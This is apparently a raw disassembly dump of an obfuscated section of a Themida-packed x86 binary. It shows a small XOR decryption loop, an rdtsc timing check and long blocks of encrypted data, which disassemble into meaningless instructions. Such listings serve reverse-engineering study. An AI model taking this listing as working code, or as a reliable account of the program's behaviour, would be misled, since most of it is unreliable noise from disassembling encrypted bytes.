; Themida_:0060D161p
rdtsc
retn
sub_60D211 endp
; ---------------------------------------------------------------------------
mov dl, 18h
; =============== S U B R O U T I N E =======================================
sub_60D216 proc near ; CODE XREF: Themida_:0060D1DCp
push ebx
mov ecx, 2845h
mov ebx, edx
loc_60D21E: ; CODE XREF: sub_60D216+11j
xor [eax], dl
sub dl, bl
xchg bl, bh
inc eax
xchg dl, dh
loop loc_60D21E
pop ebx
retn
sub_60D216 endp
; ---------------------------------------------------------------------------
loc_60D22B: ; CODE XREF: Themida_:0060D1E1j
pop edx
adc al, 0
add [esi-55h], cl
lock mov edi, 0C170DD99h ; CODE XREF: Themida_:0060D264j
call near ptr 22768B28h
or ecx, [edi+2AAD3796h]
db 2Eh
dec edx
clc
inc eax
in eax, dx
test al, 44h
loc_60D24A: ; CODE XREF: Themida_:loc_60D24Aj
rep loopne loc_60D24A
xor esp, 350A2D4Bh
movsb
dec esp
pop ecx
and ds:877962F7h, dh
repne outsb
rcr byte ptr [esi+3A90E140h], 1 ; CODE XREF: Themida_:0060D2E1j
js short near ptr loc_60D231+4
add eax, 434504A2h
push es
pop ebp
mov dl, 72h
popa
call far ptr 2571h:6E55835Ch
push 0A7084B6h
wait
xor eax, [eax+7Eh]
lodsd
or al, 1Fh
sahf
loc_60D284: ; CODE XREF: Themida_:0060D2E8j
mov ds:98491F97h, eax
sti
and eax, 80B0A67Ch
imul ebp, [eax+3B0BD533h], -28h ; CODE XREF: Themida_:0060D2C7j
and [esi-2D1ABC4Bh], ah
fcom dword ptr [ecx]
mov ch, 4Ah
push edi
sbb [eax+edi*4+68h], ebx
dec eax
sahf
sbb edi, [edi-0Fh]
and [edx], dh
xchg eax, edi
add eax, 1CF8DB90h
cmp ebp, [ebp+3Bh]
sbb eax, 54981330h
jo short loc_60D2DD
std
jo short loc_60D314
sub cs:[ebx+edx*4-0FC28381h], cl
jbe short near ptr loc_60D28F+2
inc edi
adc eax, 80708D9Ah
scasb
aas
cmp dl, ch
xchg eax, esi
sub cl, [eax-7E7E18E0h]
retn 0C8BCh
; ---------------------------------------------------------------------------
loc_60D2DD: ; CODE XREF: Themida_:0060D2BAj
ror byte ptr [ebp-55h], 1
push esp
jns short near ptr loc_60D25E+5
mov edx, 0EBEDC14Bh
jbe short loc_60D284
and dl, dh
test eax, 0EB03E860h
fcom st
jnz short loc_60D33C
in eax, dx
fdivp st, st
cwde
adc al, 0B1h
mov al, [edi-41h]
les ebp, [edx]
sub [eax+edx+11h], cl
mov edi, 0CB768AFCh
inc edi
fcom st(2)
loc_60D30C: ; CODE XREF: Themida_:0060D33Dj
mov [eax], ah
mov bh, ah
in eax, dx
mov ch, [esi+1Ah]
loc_60D314: ; CODE XREF: Themida_:0060D2BDj
cmp [eax], dh
int 3 ; Trap to Debugger
aam 8
hlt
; ---------------------------------------------------------------------------
dw 429Ah
dd 0E0760527h, 0BA152CB8h, 148E4C77h, 3FA76448h, 5E1000ADh
dd 533F17E8h, 86A03403h, 32703909h
; ---------------------------------------------------------------------------
loc_60D33C: ; CODE XREF: Themida_:0060D2F3j
dec eax
jo short loc_60D30C
sub esi, [esi+ebx+0]
pop edx
or ecx, ds:0A84B141Fh
nop
sbb [edx+ecx*4-78h], esp
sbb eax, 5FDD25A8h
jge short loc_60D359
xor [esi-5], ah
loc_60D359: ; CODE XREF: Themida_:0060D354j
pop ds
loc_60D35A: ; CODE XREF: Themida_:loc_60D35Aj
jnp short loc_60D35A
push ecx
pop es
shl byte ptr [eax-11h], 1
lock mov dword ptr [edx+7Bh], 0B7D66188h
mov cl, 6
dec esp
or al, al
or edx, 0FFFFFFC8h
fst dword ptr [eax]
movsd
cmp al, 67h
mov ds:1A038846h, al
loop near ptr loc_60D3AD+2
loc_60D37D: ; CODE XREF: Themida_:0060D383j
xor [eax], ebp
jle short loc_60D3AD
int 3 ; Trap to Debugger
nop
jb short loc_60D37D
push 9137B6E1h
xchg ch, [eax+ecx*4-60h]
add eax, 0D2B8672Eh
mov [eax], bh
fmul dword ptr [edx+26h]
pop eax
sbb al, 0F0h
retn 10DCh
; ---------------------------------------------------------------------------
dw 5EAAh
dd 0AD9C4469h, 0FE304912h, 3231E449h
db 0E7h
; ---------------------------------------------------------------------------
loc_60D3AD: ; CODE XREF: Themida_:0060D37Fj
; Themida_:0060D37Bj
adc eax, 1CF8F036h
mov eax, 0A0B9B860h
stc
sbb eax, 58B24E62h
sbb [ebp+3Eh], al
sub [ecx+edi*8-1FD70575h], cl
sbb al, 0C8h
popf
push ebx
sbb dl, dh
push 7Fh
cmp eax, edx
retn 4A40h
; ---------------------------------------------------------------------------
dd 65E369D3h, 92CE62B5h, 9ACFD0D8h, 0BA906E9Ch, 56600E90h
dd 0B664EA48h, 71000C54h, 3AEEAE7Dh, 1015F5B8h, 5170049Fh
dd 40FD3D91h, 2B105C16h, 43087BF6h, 51B084CAh, 7EBED225h
dd 8E5FBC68h, 0A6205A38h, 7C327183h, 0AE3F90C8h, 0A115A3A9h
dd 9D60D840h, 0A20EBECDh, 4F70FF18h, 0D3F81967h, 32B38A8h
dd 2260EA4Eh, 314100A7h, 4A2923ADh, 3C6D23F8h, 71B054F6h
dd 2FF11F82h, 0F36CF9E7h, 0EBAB1828h, 2E08ADAh, 0EF3F593Bh
dd 731563A9h, 3E609841h, 723025F0h, 31487D95h, 655B5CF8h
dd 9F56F8D2h, 6174E477h, 3E2A33B9h, 7047352Bh, 3BF802F8h
dd 42A5E77Dh, 0EE991998h, 8EDD3C68h, 0D9DF2675h, 4F5B12F7h
dd 5EC05DDCh, 51F6ACA8h, 3D640FF5h, 0A7BD007Ah, 0CE10BDECh
dd 68597A44h, 0C42313DEh, 2985B68Ah, 56409A8Ch, 0DA10FEC4h
dd 768AE473h, 12DA0043h, 0AE8060F0h, 1B109660h, 0B62EF26Ah
dd 0BC3EA1F7h, 9D98D0C8h, 56F82C6Ch, 0DD60080Ah, 7930CE9Ch
dd 0E4402AD4h, 78D2B6E8h, 2AC878D2h, 87014FAh, 12AE158h
dd 4C85B378h, 69E0F8C6h, 0DD4F0191h, 6E81271Ch, 0AE53168h
dd 1F204828h, 42F0F8B3h, 7B337F53h, 6A90C129h, 93EDC868h
dd 0B220700Ah, 1A50E0E7h, 15BABC82h, 0B87EAD47h, 0E2F5D498h
dd 56740507h, 5A100D67h, 0F6E0B910h, 0D6D517C8h, 49F582FDh
dd 0BC390E38h, 1457451h, 0EAA7B46Dh, 9EC05588h, 78DC5957h
dd 439F8868h, 72201A2Ah, 28953F4Fh, 0C0D04CD6h, 0B9A292B8h
dd 0F24EC21Dh, 7F688958h, 3187CC28h, 92ECE119h, 0C74F539Ch
dd 0EE909E02h, 2FD3CA5Bh, 2630E70Eh, 3DA72008h, 4EFE8E4Dh
dd 8E5029A8h, 68E30E1Eh, 0CDDE964Ch, 0A408A46Ch, 95FA76E8h
dd 169E2E2Dh, 0D6B0D188h, 0B6A86384h, 0E9108C2Dh, 4C03B931h
dd 2D8641F1h, 9CF56088h, 6E7480E9h, 9552EB5Bh, 43711C7Ch
dd 1EC0DE7Fh, 0ECC038F8h, 5305829h, 0CC7E31B7h, 4E854008h
dd 0D5DFA8B1h, 49A85CCCh, 724F220Dh, 3855858h, 6543B3D7h
dd 26DECE6Dh, 533E6FC8h, 6E81085Ch, 9FAFEB68h, 0A630661Eh
dd 7CD661F7h, 1E2990C8h, 7A6FD353h, 7C60A222h, 0D8300E48h
dd 4E016818h, 2E5B9CECh, 0ECF038D2h, 0DDB45F84h, 0E13826BAh
dd 69100C1Ch, 93A4031h, 73DBB37h, 2E90F5C9h, 9A012D3Ah
dd 580A8DC7h, 0C673B418h, 614B93F8h, 3AC8B4F0h, 0D660BA94h
dd 72302A23h, 0E00C019h, 0AAD05CE8h, 46A0F8B8h, 0E270BD0Ch
dd 7E403058h, 0E5439A79h, 0A6DE5A6Dh, 0FEE9AFC8h, 15F5601Ch
dd 793D28Ah, 3639A5ADh, 570F2608h, 5ED02E52h, 0B8DC2921h
dd 80884868h, 7E30E448h, 0BB6BEF77h, 3A24C98h, 63CCD1CEh
dd 0C32631EFh, 7F258534h, 4FEFDC28h, 76F016CAh, 50E04141h
dd 0F2436088h, 2F239D2Ah, 834DF976h, 0E8927B6Ch, 6DB4B3BDh
dd 0E9E43AF4h, 56146B1Dh, 8044D724h, 8E6E2574h, 4BB5AEABh
dd 0AFE61DCCh, 623171E4h, 9F25C21Bh, 0F356295Ch, 57AD8D94h
dd 0BCD9F4B8h, 2D8061FFh, 7E31D91Ah, 0C952085Dh, 3183916Bh
dd 0AC839099h, 1FE44DCDh, 790DAD2Ah, 0DA64013Ch, 2A61656Ah
dd 8FA2DFE8h, 0D2C54CD9h, 4315A6E0h, 0CC03703Ch, 3F646D4Dh
dd 9A8FC7ACh, 0E2DC21A0h, 40D3D2ABh, 0A2230C09h, 23206C57h
dd 5684DD70h, 0FFA522B0h, 53D6ECCCh, 0BF34ED14h, 1D644125h
dd 7A73B94Bh, 0C384318Dh, 0A09DD5h, 0AE15F1FAh, 1F325231h
dd 5D10B55Ah, 0DFA61C9Dh, 26F161A4h, 8CE9D2ECh, 0F935481Dh
dd 4367D879h, 0AE99327Ch, 24A943BDh, 9FD7ACCDh, 0FA090E0Ch
dd 5F59B02Dh, 0AB47807Dh, 0EBF519Ch, 4EC5D4CDh, 0CE143AE9h
dd 7940B13Dh, 0BF44F84Dh, 1FA65895h, 73FEA1A4h, 0AEC105F5h
dd 1E24992Fh, 0B650F55Dh, 0C3984069h, 6AA597D8h, 0C9E209FEh
dd 560E6711h, 0A444C10Fh, 0E773327Dh, 5295B287h, 0A3E778F9h
dd 0E1F42FCh, 0B725DD2Dh, 0E87F2A46h, 5F948995h, 0D2F1EAA7h
dd 0AE14FD4h, 7832D524h, 0E7592A59h, 3291B908h, 0A9A5F98Eh
dd 13D64AE7h, 5960AD14h, 0F45E0138h, 3656C71h, 83A0EC89h
dd 86E15FD6h, 4C15A4C7h, 0DD2F0208h, 5A637F4Dh, 958FDAA8h
dd 0A1C337ADh, 5CE9A6AAh, 9A50081Bh, 343774Ah, 30C3C77Bh
dd 0EAB83596h, 4EF5BFA8h, 0B30CE13Eh, 445009h, 7A75A271h
dd 0AA912F8Dh, 0D49DEBh, 0B615F8E1h, 7E255D31h, 7F75A07Bh
dd 0CFB36888h, 3FD570BBh, 8BEDC9CCh, 0E316533Ch, 4F74BD54h
dd 97F01165h, 2EA17DB6h, 8DF5C5FEh, 0FF262E37h, 64308124h
dd 0BB74F271h, 6917089h, 6C3D7D4h, 0D61926DFh, 5229B63Dh
dd 0AE5E8C4Dh, 38A4CB9h, 60E0B0BBh, 0C2E916F1h, 39359B0Dh
dd 834BF76Ch, 0F6BE3466h, 7FA5A29Bh, 0D3D609DCh, 18606D14h
dd 9742E73Ch, 0DE653479h, 4FB3B39Ah, 88A00BCBh, 70257FCh
dd 0AE25C439h, 0FF73235Ah, 4EA59B8Bh, 91C4CAC8h, 1AE145EAh
dd 6935EF0Dh, 0C84F314Ch, 184BA08h, 0AAA1F5AAh, 1FE379CDh
dd 7912980Ah, 0C143012Bh, 3744E18h, 8386EC89h, 0E0EF4FDDh
dd 5613B1DBh, 0BE2E1F31h, 2A5F7866h, 9FA6C69Dh, 0DCB021A4h
dd 4BF0AFECh, 0A5222C06h, 15537D5Bh, 679BDB5Ch, 0EA8E50B6h
dd 54F59CE7h, 0A203ED2Bh, 725E4B21h, 7C50B456h, 0C9B52887h
dd 34C9AECCh, 8E11E1FCh, 112D5515h, 5410B55Ah, 0D395398Ch
dd 3CF97DBAh, 83F2CFFEh, 0E5394809h, 4D4F8C56h, 8CF01A6Dh
dd 37B247ACh, 93C6C9DCh, 0F7153C0Ah, 5F55A924h, 0CE79F277h
dd 3FBC68BAh, 69C3D1D6h, 0D62331ECh, 592E992Ah, 0B451E37Ch
dd 2B3418Bh, 75DEADBAh, 0EFD33798h, 3831883Bh, 0E650ED4Ch
dd 0F19F586Bh, 7DAFA3BDh, 0BAE409C3h, 380E671Bh, 0F244C72Dh
dd 0E674257Fh, 48A4AF87h, 0ABC116C1h, 70214EDh, 8D40C63Bh
dd 9A74224Dh, 5D83878Bh, 9BB0F0ADh, 1CE554F6h, 4924D906h
dd 0C3533754h, 269E9540h, 97C0F5B4h, 8F558C6h, 5114AD16h
dd 0DD73102Dh, 2D656E76h, 0B9B4F99Ch, 0E3D459CCh, 561E9D88h
dd 0DB2E023Dh, 3F60435Ch, 0BFE0E996h, 0E0D530A6h, 61F485F6h
dd 9F3E1918h, 6661744Ah, 6784DA41h, 0EAA53EAAh, 5EF189FAh
dd 0B30CE13Eh, 24746548h, 3D499059h, 0E69472DAh, 23F2F8F4h
dd 8D1CD7EFh, 1B0B552Bh, 7F42CC51h, 0D390279Fh, 2BD54FA6h
dd 0EEC1D8DDh, 0DB37593Ah, 5F52BD4Dh, 0B79C155Eh, 1FB855BDh
dd 9DF5FEA8h, 0C0142D2Bh, 57458829h, 0CE41F85Dh, 262FBEh
dd 8DF6EEBAh, 0F0713E5Ch, 685882A7h, 984019D7h, 0B26B28E8h
dd 42E6929Eh, 0B6F09FCEh, 74EE6997h, 22A39828h, 8A326A18h
dd 0E5895DD8h, 0D2C1A483h, 0BE600878h, 0F114E8C5h, 8B6A4072h
dd 40838CB9h, 966CF3BDh, 3620C003h, 0AC11F032h, 7C85B37Bh
dd 0B5E0F8C6h, 474F880Ch, 6E901E76h, 0C95878EBh, 9BD4CDB5h
dd 8BC3F418h, 0B69290B2h, 7AA22C98h, 47310CF3h, 0E3602422h
dd 8E831872h, 0E4BAC8E0h, 6435C7E8h, 0A170C4B6h, 6C73509Ch
dd 0C31FCCADh, 0AE3A5F3Ah, 0C57386EBh, 0EF681FABh, 0C5AF8397h
dd 6620BDBCh, 0EE98E408h, 15C050AAh, 0B190867Ch, 0BE20E2B4h
dd 72202448h, 6452C272h, 0D83C34E8h, 46CAF8B8h, 1D20C7D9h
dd 6E7EE6CDh, 0E5499328h, 0A6DE4E6Dh, 264F81C8h, 660D2BE9h
dd 69502C7Dh, 26B55534h, 0C1F06418h, 0A1934709h, 3815277Ah
dd 1B605846h, 32183EC7h, 312B6818h, 0EF5BE317h, 6B08662h
dd 8B57DB05h, 24A8F058h, 51EF73D7h, 66DEEE7Dh, 3C3F49C8h
dd 468060B1h, 0B5AF0361h
dd 0D8EA1DB3h, 42753418h, 914DF0ACh, 0BA904593h, 0A99EFC90h
dd 20B52FB7h, 0B005026h, 0A7DBA828h, 0C6893037h, 9CAFFC88h
dd 39CB4FA7h, 72458F77h, 36E0E8F8h, 0CE5D0595h, 5D803083h
dd 0ADD531A1h, 0F7204826h, 12A1A55Ch, 4B3FC189h, 7A8012FAh
dd 0E944CCFFh, 0A20E42DDh, 4AC25D18h, 0EA38C9E8h, 0DBA038B8h
dd 393B3909h, 412A7048h, 410699A5h, 0A4B0A8E8h, 92946405h
dd 0EA03E0B2h, 4F971A64h, 66300364h, 873794C5h, 9ED04B86h
dd 3ABAEC8Ch, 0CC0A4B25h, 7239CC10h, 4C8DC018h, 632EF689h
dd 2F6308CDh, 0F24FD41Dh, 76C43558h, 8F998E20h, 0B6F057B8h
dd 773E63Fh, 0EE80A070h, 67D16168h, 2630C39Dh, 0FDB4E983h
dd 224310C8h, 0F590A48Ch, 9660F1FCh, 3ADC6548h, 9A00801Ah
dd 6AD11880h, 7C3547B8h, 297044B6h, 1AC47DA4h, 0DA108D2Ch
dd 9EE042A8h, 12B0C4CCh, 0AED232CEh, 3CC5033Fh, 0D5208806h
dd 8667B9C1h, 4FC0D0D9h, 0EB9206F9h, 56080912h, 0A070A448h
dd 0B042D5E7h, 0AF46DCF8h, 96FB0C4Eh, 63747CDCh, 117B058h
dd 9830689Ch, 0A31FE8F8h, 0D2A0BBEAh, 1A40A5C1h, 5A445F7Eh
dd 0A64A8CB3h, 14A7A55Ah, 0E07A0527h, 0FFC92CB8h, 40B0BDB8h
dd 8C16F1B7h, 198D0008h, 8087CEACh, 112D60FCh, 2270D58Ch
dd 0D48043F3h, 0F1E35538h, 0A6B0F8A8h, 0C0E01498h, 10CA7567h
dd 0ED17C78h, 66201A30h, 0AD4C0F7h, 0A1D2C527h, 0C5C3ECB8h
dd 0C65F9AEDh, 76F27948h, 43E4018h, 21965D9Dh, 56B57C35h
dd 6F697788h, 6E5030CDh, 4CC1CF28h, 7664BA07h, 53AF8CC7h
dd 6A8FA098h, 8A503D78h, 531AE6B8h, 0FC703218h, 5F441FD8h
dd 7A90ACA9h, 67156846h, 620E650Eh, 0BB47CE51h, 0AC1F97AAh
dd 2DEFB9FEh, 0A21A0546h, 0C113A609h, 0CA2F86BDh, 0B7DB71F8h
dd 126F41C7h, 2B0D6098h, 4A40E2F3h, 0EA489852h, 0D2F03408h
dd 14552F8Bh, 87907C97h, 56600874h, 0F28F2147h, 3FE94018h
dd 0ABD0DCE8h, 8FF22886h, 0C7F51BDEh, 7D40B058h, 0A6BC44EEh
dd 0AF64E7F5h, 0EEB084C8h, 0C27355B8h, 8F5F8654h, 0A62058B4h
dd 62D0F9A5h, 0FFFDB0F8h, 0FE449CFh, 365C6407h, 0CCB1183Dh
dd 3A6820E7h, 6BA1E99Ch, 0BCD03BC6h, 4A05FBA7h, 0BEBF379Eh
dd 4AAA3D27h, 1E0A8DFh, 74F162Ah, 2E90DE32h, 9A00BC5Bh
dd 6FC84868h, 46F0B408h, 0F2AE27B7h, 3AF48DC7h, 0E97A1D87h
dd 0B2B52458h, 0C733F66Ch, 9594D961h, 2EF1F8A8h, 62709688h
dd 2E166109h, 250E59D7h, 236D68E8h, 52A01F57h, 0BA4993C8h
dd 0DB026C39h, 74B52769h, 45F06436h, 0CB3F34DCh, 0FA80928Eh
dd 1BE08B80h, 3220F13Fh, 0A4C37919h, 95D176E9h, 2D3478Bh
dd 62F54177h, 0E573AA2Ch, 0D1A35CA3h, 0FBDC78FBh, 2AD077Dh
dd 0A23AEB98h, 0C150FC69h, 0E62190B2h, 0A9083708h, 0D54BB013h
dd 0CEF1CA5Bh, 0A3824F7Dh, 35B38AA3h, 428B1317h, 7A0457BFh
dd 97E012ECh, 9D8F7EDAh, 0EE7E56CDh, 0C09DC728h, 0B5E0F8C6h
dd 1D9B880Ch, 0A987C91Bh, 0E250D66Fh, 0A56FD138h, 4BFA7CBh
dd 8C81C78Ch, 13DD70EDh, 650FBA1Bh, 0EE440227h, 2A6E694Fh
dd 0B6A3EB87h, 0F4D24DFBh, 7404BAEDh, 0D733023Dh, 1F4C6247h
dd 998CD880h, 92C221BAh, 49F281CCh, 0A518080Dh, 64206C4Bh
dd 57A0B408h, 0EE10DFAAh, 53E883DAh, 0A409A615h, 1E51432Bh
dd 2079B879h, 0E4D03098h, 66EBBBF1h, 8B00FDE1h, 13264A29h
dd 5F439922h, 0FC8648AAh, 72FE4D87h, 9CE9D6BEh, 0DF5A491Ch
dd 2620D8D0h, 2F712908h, 5ED00E75h, 0EFE7296Eh, 69604868h
dd 220E9ADDh, 0D1E84118h, 74BA209Ch, 38960D33h, 0E295498h
dd 1435DE64h, 252E0D4Eh, 0FBC35DE5h, 28FFE75h, 0ACF6EB98h
dd 0EF36593Fh, 0DE901DB5h, 77F3418h, 1ED0E80Eh, 40D6E552h
dd 0AD9E46F4h, 3DD2A5F9h, 0AFE810F3h, 0A92F2313h, 0C2A85CC4h
dd 6A9850FDh, 0AD40B058h, 0DE3E0F6Eh, 0C9E0A4B4h, 0C28E0E5Dh
dd 1A402B98h, 83A2F65h, 94B5A76Bh, 0BDF0E436h, 49280308h
dd 926FD356h, 1660C873h, 0ED73221Bh, 0A2E5357h, 15D0D0A4h
dd 969EB22Dh, 0DC0C3C88h, 0BEA88FA7h, 0A5EFF3DEh, 0E6F27475h
dd 1F7977C8h, 3EC2081Dh, 9B012D68h, 37714869h, 84654B59h
dd 76C040E6h, 3A90ECA3h, 8425DB2Dh, 361E167Bh, 0F1008C54h
dd 0BAEED67Dh, 46AA10B8h, 91079488h, 10294228h, 1A51AA5Ch
dd 847597A8h, 0DBB014F6h, 0FEBE9A1Dh, 7613368h, 3639A5B5h
dd 8275FD08h, 0FC000E7h, 0C41A3957h, 0FEF34868h, 3230E44Ch
dd 0D78A3595h, 0E7891CF8h, 169F9E05h, 57B2BC88h, 0F9260FA7h
dd 0CA0EE1ADh, 0F5B028F8h, 2AEAB6Dh, 3B0D6098h, 4A40E245h
dd 0E74ACC68h, 0EAA23462h, 9EC0D0DAh, 85BAF957h, 96E50868h
dd 7F12D112h, 9E1E2095h, 2CBA8EE8h, 0D8CDCD35h, 34241498h
dd 0AC11E008h, 0A53ED9D7h, 0C9B8E8E8h, 0C28FA25Dh, 2905E698h
dd 0A50AC29h, 0A62054D0h, 0DA3A308h, 0ECF3DB9Bh, 36DC6886h
dd 9CF53778h, 21307476h, 4E000770h, 0B6511E8h, 0DFA028A0h
dd 1C866905h, 83A87048h, 0B2EFF3DDh, 0F6E0A8F4h, 0DBFE0D9Fh
dd 0D4A5D6h, 0CA1C302Ch, 58AA8DC7h, 0C275B418h, 9CF5D4D7h
dd 5203ECA8h, 0D660887Dh, 6B2F91C5h, 8359C008h, 0BAEF4E55h
dd 0B3A610B8h, 5FF36B77h, 7E500F4Eh, 0A94C328h, 37E068FAh
dd 52B19424h, 0EFE8F498h, 75503C69h, 361E2EADh, 5234F508h
dd 0EC010D9h, 0FAFA7823h, 80F5B72Ah, 0B730F477h, 0C375D9D8h
dd 6AC39480h, 0AC3547B8h, 497044B6h, 51FD73BAh, 0DA109C36h
dd 0F36D018Dh, 12A0DABBh, 0AC159FC8h, 0CF50EC57h, 6FA497F8h
dd 9F03409h, 1E4BDC98h, 3F1F5C57h, 56701617h, 0B377218Eh
dd 0E4014008h, 40D1B6E8h, 0C83587BAh, 0E17004B7h, 7A4F4FA0h
dd 9A104D48h, 5D75656Bh, 0B8B094D6h, 91D37288h, 1A6E42FDh
dd 0A9E0DD38h, 42F1B48Dh, 527D1DD8h, 0CB903CB6h, 0EC5C2070h
dd 26589BB7h, 10000018h, 0DE597AC3h, 135F6C9Ch, 2260EA0Ah
dd 0A0DACDD5h, 5BA10C38h, 91AB510h, 1525C937h, 4480F086h
dd 0CA441468h, 35721838h, 3DFA21F7h, 0DA4D50C8h, 0AF1DF88Ch
dd 0D670CA90h, 78862B18h, 1A248493h, 0A8D8BC29h, 0CB2F9F2h
dd 0E13A868Ah, 76647453h, 0DB1F2DA8h, 0BDB16018h, 0ADA0208Ch
dd 530DF0AAh, 8A400320h, 2620C4D0h, 0F4DE5108h, 7EEE30A0h
dd 0DFAA8C86h, 0AE4E6D5Dh, 1248C130h, 840AF33Dh, 4A9E55A7h
dd 935FEFB8h, 0A2606AB2h, 3EEC34D9h, 0DA7A8C28h, 89B37FA8h
dd 28FCE5Dh, 3E0DEB98h, 2050EC7Dh, 8D3B7B38h, 6AA139C1h
dd 1EC0D0DDh, 0B0F4498Eh, 0C39F5F78h, 0F2209A72h, 0DE0C849Bh
dd 2DB8D703h, 4BA078B8h, 726EB435h, 113E758h, 8A2F46BDh
dd 48206DF8h, 9A05099Ch, 0ED8030A7h, 1A452CCDh, 2BAD5838h
dd 42E0B54Fh, 0DEAA5EF3h, 85C37AF9h, 65FCEEDh, 0B2C8E748h
dd 0C5912F66h, 0A2651116h, 36A02887h, 57DE2685h, 94A81048h
dd 3BEFF3D2h, 0FF03BF8Ah, 79B13345h, 54F6B72h, 82EDF1A6h
dd 95200807h, 0E90733ACh, 0B3F0361h, 3A80D252h, 0C31735F8h
dd 6312458h, 7B30A832h, 3F2F5CE8h, 46B0C612h, 0A3372908h
dd 0A403048h, 75950B39h, 0B6E078E6h, 94B004C8h, 0FEC1E71Dh
dd 82B93C68h, 0E1DF27C6h, 0D2E5F48Dh, 5EC010D8h, 0FE52F128h
dd 0D96A4578h, 5D5F8A68h, 0A86FA076h, 0CB970C8h, 498099DDh
dd 0CF1920A8h, 5134D03Dh, 0B675EF08h, 17924A9Dh, 1F91A1BCh
dd 8EA04092h, 6A1FDC48h
dd 8B4DED4Bh, 0E5D0466Dh, 7BA4A2B9h, 0B09D4DC6h, 330C6D2Ah
dd 975CD026h, 0F76C336Bh, 5AB1B4C8h, 0A78001C8h, 75070E6h
dd 9D25C020h, 0EE7E2D5Ch, 4293C8D4h, 0BBD4EAA9h, 4EBA47F6h
dd 5D5AB145h, 0CE432C59h, 62979A61h, 0FEACFCB9h, 5AE94DCCh
dd 3604A619h, 0DA570D26h, 28202C6Ch, 8CF0EE87h, 0E8C551CAh
dd 6B50A7ECh, 0D7210778h, 501D365Ch, 8485C0AFh, 0E0D164ADh
dd 41F9C0FDh, 0AC70501Dh, 845714Ah, 22CFC76Ch, 0FBAD3F9Bh
dd 4ED9CC89h, 0F613E158h, 175D4D3Ch, 7A49E039h, 0C6F02FCFh
dd 67C58CD9h, 0D8DBCDDFh, 161535EDh, 1F1BB69Ch, 35B2DA10h
dd 20BB3FEDh, 91157152h, 0BA97B86Ch, 3686CC11h, 0A6FB808h
dd 7971EA3Dh, 0F7935BFDh, 86C65C6Bh, 273E3EC7h, 0C6C4C44h
dd 0B268AFBAh, 6A0B8B8h, 0A2705488h, 3E40F058h, 0DA108C28h
dd 76E028F8h, 12B0C4C8h, 0AE806098h, 4A50FC68h, 0E6209838h
dd 82F03408h, 1EC0D0D8h, 0BA906CA8h, 56600878h, 0F230A448h
dd 8E004018h, 2AD0DCE8h, 0C6A078B8h, 0DAD597E8h, 0FE40A01Ah
dd 0D8ACE9ABh, 39E0E8E8h, 5FA4C77Fh, 0D98F38CBh, 0DA53BA23h
dd 82041CB3h, 30FCB623h, 0D682ABC1h, 381B38DBh, 1A22E36Ch
dd 0F088F1C1h, 0CB890008h, 0EAC0DE54h, 44233D53h, 43A936A0h
dd 3640749Ah, 4A3453ADh, 0F68440F8h, 0B2D844C8h, 0A380E098h
dd 0DA73F0EDh, 7E194138h, 0C273B87Ch, 6137B2DCh, 2AD2782Dh
dd 0F974B78h, 566FA94Bh, 1EE3C008h, 252C2C17h, 42487BB8h
dd 7FF9626Ah, 7E5013D4h, 6E10F6ABh, 0B5D243FDh, 1C3D14BAh
dd 0B0DBF864h, 0FE5006EBh, 0CD12273Ch, 0D2828B0Bh, 0A13F4730h
dd 0D15E8757h, 8622F4F5h, 7933BC48h, 4B8F432Ch, 6AC05E70h
dd 44343D7Fh, 0A2705498h, 2A8F058h, 51108C28h, 66A2BC7Dh
dd 0E4192CC8h, 0B6689F67h, 0C950FC68h, 0F6620C85h, 8A853408h
dd 3AC84D51h, 267B6CB8h, 14F48587h, 7DF3A458h, 9E42D89Dh
dd 0BE4555E8h, 2EA068FAh, 6270148Bh, 7583796Bh, 9A10CCBBh
dd 0DB08BAF8h, 0D14F7B36h, 7EC29C0Dh, 8986BF68h, 0A9205442h
dd 42F1F38Ch, 0CEBA13D8h, 871423A8h, 9D60C878h, 5A60680Ah
dd 0B1FFFED0h, 0A86C19EBh, 40A338A8h, 0A2785ED8h, 0A73470A1h
dd 2E3EF5A8h, 70BE8FBh, 13B10C43h, 0F15F3F79h, 8EA9FDB7h
dd 13205474h, 0CADBEDE4h, 913AA95Bh, 3A905B27h, 0AEE1EE78h
dd 7D0217B6h, 0E006B9Dh, 90530AE8h, 0CDA58DB8h, 0E09B84C2h
dd 8F433AD3h, 0E4622479h, 3E39707h, 52A04674h, 96402535h
dd 0ED43393h, 0D920D838h, 0D2B2C8BDh, 0B2840D8h, 0F96F5356h
dd 8622F4FDh, 8EB56B48h, 0CD00905Ah, 0E98338ECh, 0DD93BA78h
dd 4178E287h, 1E89704Ah, 0FE344D7Bh, 52FC01FCh, 4994C8E1h
dd 2F698BD8h, 0F187F393h, 671EECE5h, 0ECB59CF3h, 9FF6A403h
dd 1BAB3553h, 0D74E7C87h, 471272B3h, 0F2634B4h, 72394F13h
dd 47BE0C4Bh, 3A996973h, 7F56C4ABh, 0BF2F0AD3h, 0B7EE9C19h
dd 0F78FB433h, 91865479h, 1A1224FDh, 0D7C90338h, 1C0F0BF7h
dd 37D4525Bh, 856FD247h, 120AC9BBh, 47798C10h, 0DB88FFE7h
dd 0EAC0BAD1h, 9E9180DEh, 0C6B0368Ah, 0D8A2725Bh, 2166683h
dd 9158610h, 9A72C737h, 2BEA311Fh, 3F719430h, 9CA0E7C7h
dd 0B2FBC70Bh, 0A7455288h, 9090FC8Eh, 0BE0AAF93h, 88B08E10h
dd 0BE18B51Bh, 5FD1B4F9h, 47180747h, 66709488h, 0AF4D448Ah
dd 0F1DA32C8h, 0EE5830Eh, 0D2B004C8h, 2D3F4233h, 0B3C0A9E5h
dd 0F10BD828h, 3533AEFFh, 4EF9945Dh, 0FA90ACA8h, 56F54770h
dd 0C43B0489h, 0DE39029Dh, 6CA51DE8h, 2329B5DEh, 27864763h
dd 3E50C9DAh, 0BC16F92Ah, 9DC519F5h, 13BDA2CCh, 462B06BDh
dd 0B5AF03D4h, 6F14DBB3h, 92B2989Dh, 0E9037BD8h, 0AAA9E82Dh
dd 56600878h, 32A5AB40h, 66AAFC1Ch, 0D52F2374h, 8410ED31h
dd 0E7861498h, 0FE5089DAh, 95143929h, 1DE203C9h, 25732F08h
dd 7EB9A41Dh, 0A50BC68h, 2C072C30h, 52C98A8Dh, 0D52051D8h
dd 3F1B21CEh, 0EED0631Eh, 0CCB5EEE2h, 8F001021h, 8DD58708h
dd 2DA6B1DCh, 891614BBh, 0DAF862B3h, 0F11009A7h, 0CF9E2D72h
dd 0CAB444D8h, 85980059h, 5ED5BAABh, 6F20081Fh, 0FE4091E3h
dd 26A67033h, 91F6EC43h, 0D20A9193h, 8639CC10h, 0A8D3FE7h
